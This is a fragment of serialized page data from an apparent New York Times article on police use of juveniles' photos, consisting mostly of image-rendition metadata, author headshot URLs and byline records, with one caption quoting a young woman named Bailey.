umbo","width":1366,"height":2048,"__typename":"ImageRendition"},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-popup.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-jumbo.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-superJumbo.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleInline.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleInline.jpg","name":"articleInline","width":190,"height":285,"__typename":"ImageRendition"},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).1":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleInline.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.caption":{"text":"“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, who pleaded guilty to an assault that occurred when she was 14.","__typename":"TextOnlyDocumentBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline":{"textAlign":"LEFT","hideHeadshots":false,"bylines":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0","typename":"Byline"}],"role@filterEmpty":[],"__typename":"BylineBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0":{"prefix":"By","creators":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0","typename":"Person"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1","typename":"Person"}],"renderedRepresentation":null,"__typename":"Byline"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0":{"displayName":"Joseph Goldstein","bioUrl":"https:\u002F\u002Fwww.nytimes.com\u002Fby\u002Fjoseph-goldstein","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia","typename":"Image"},"__typename":"Person"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-articleLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-articleLarge.png","name":"articleLarge","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-popup.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-popup.png","name":"popup","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog480.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blog480.png","name":"blog480","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog533.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blog533.png","name":"blog533","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog427.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blog427.png","name":"blog427","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-tmagSF.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-tmagSF.png","name":"tmagSF","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-tmagArticle.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-tmagArticle.png","name":"tmagArticle","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-slide.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-slide.png","name":"slide","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-jumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-jumbo.png","name":"jumbo","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-superJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-superJumbo.png","name":"superJumbo","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blog225.png","name":"blog225","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master675.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master675.png","name":"master675","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master495.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master495.png","name":"master495","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master180.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master180.png","name":"master180","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master315.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master315.png","name":"master315","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master768.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master768.png","name":"master768","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-articleLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-popup.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog480.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog533.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog427.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-tmagSF.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-tmagArticle.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-slide.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-jumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-superJumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master675.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master495.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master180.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master315.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master768.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbStandard.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-thumbStandard.png","name":"thumbStandard","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blogSmallThumb.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blogSmallThumb.png","name":"blogSmallThumb","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-thumbLarge.png","name":"thumbLarge","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-smallSquare168.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-smallSquare168.png","name":"smallSquare168","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-smallSquare252.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-smallSquare252.png","name":"smallSquare252","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.1":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbStandard.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blogSmallThumb.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-smallSquare168.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-smallSquare252.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-square320.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-square320.png","name":"square320","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-moth.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-moth.png","name":"moth","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-filmstrip.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-filmstrip.png","name":"filmstrip","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-square640.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-square640.png","name":"square640","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumSquare149.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumSquare149.png","name":"mediumSquare149","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.2":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-square320.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-moth.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-filmstrip.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-square640.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumSquare149.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-sfSpan.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-sfSpan.png","name":"sfSpan","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeHorizontal375.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-largeHorizontal375.png","name":"largeHorizontal375","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeHorizontalJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-largeHorizontalJumbo.png","name":"largeHorizontalJumbo","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-horizontalMediumAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-horizontalMediumAt2X.png","name":"horizontalMediumAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.3":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-sfSpan.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeHorizontal375.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeHorizontalJumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-horizontalMediumAt2X.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-hpLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-hpLarge.png","name":"hpLarge","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeWidescreen573.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-largeWidescreen573.png","name":"largeWidescreen573","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.4":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-hpLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeWidescreen573.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbWide.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-thumbWide.png","name":"thumbWide","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoThumb.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoThumb.png","name":"videoThumb","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoLarge.png","name":"videoLarge","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo210.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo210.png","name":"mediumThreeByTwo210","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo225.png","name":"mediumThreeByTwo225","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo440.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo440.png","name":"mediumThreeByTwo440","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo252.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo252.png","name":"mediumThreeByTwo252","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo378.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo378.png","name":"mediumThreeByTwo378","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoLargeAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-threeByTwoLargeAt2X.png","name":"threeByTwoLargeAt2X","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoMediumAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-threeByTwoMediumAt2X.png","name":"threeByTwoMediumAt2X","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoSmallAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-threeByTwoSmallAt2X.png","name":"threeByTwoSmallAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.5":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbWide.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoThumb.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo210.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo440.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo252.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo378.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoLargeAt2X.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoMediumAt2X.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoSmallAt2X.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-articleInline.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-articleInline.png","name":"articleInline","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-hpSmall.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-hpSmall.png","name":"hpSmall","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blogSmallInline.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blogSmallInline.png","name":"blogSmallInline","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumFlexible177.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumFlexible177.png","name":"mediumFlexible177","__typename":"ImageRendition"}